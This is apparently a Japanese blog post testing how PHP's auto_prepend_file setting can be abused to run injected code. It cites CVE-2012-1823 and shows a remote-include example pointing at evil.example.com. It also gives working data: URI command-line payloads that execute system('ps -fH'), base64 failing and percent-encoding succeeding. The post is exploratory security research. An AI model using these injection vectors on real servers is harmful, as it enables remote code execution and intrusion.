PHPの設定ファイル php.ini には、auto_prepend_fileという項目があって、スクリプトが起動される前に実行するスクリプトを指定することができる。通常は php.ini などに auto_prepend_file=/path/to/start.php などと記述する。
これが悪用される場合がある。PHPの脆弱性CVE-2012-1823の悪用コードでは、auto_prepend_file=php://input として、攻撃コードをリクエストボディにいれるという手法が取られたが、理論的には外部サイトに攻撃コードをおいて、auto_prepend_file=http://evil.example.com/snipet.txt などとしてもよい。そして、理論的にはdataスキームを使っても攻撃できるはずだと思った。で、試してみた。
$ php -d allow_url_include=On -d 'auto_prepend_file=data:text/plain;base64,PD9waHAgCnN5c3RlbSgncHMgLWZIJyk7CmV4aXQ7'
とすると、エラーになる。
Warning: Unknown: failed to open stream: rfc2397: no comma in URL in Unknown on line 0
Fatal error: Unknown: Failed opening required 'data:text/plain' (include_path='.:') in Unknown on line 0
no commaというエラーメッセージから、;base64の箇所でエラーになっているように見える。
念の為以下のコードを実行してみた。
<?php
echo file_get_contents('data:text/plain;base64,PD9waHAgCnN5c3RlbSgncHMgLWZIJyk7CmV4aXQ7');
これだと動く(allow_url_include=Onを設定しておく必要がある)。変だなぁ。
では、ということでbase64指定を外してパーセントエンコードでやってみる。
$ php -d allow_url_include=On -d auto_prepend_file=data:text/plain,%3C%3Fphp+system%28%27ps+-fH%27%29%3Bexit%3B
これだと動く。
ということで、まとまらないのだけど、auto_prepend_file指定場合、dataスキームは使えるがbase64エンコードはサポートしていないらしいという結論になった。現時点のPHPの最新版7.4.5で試した。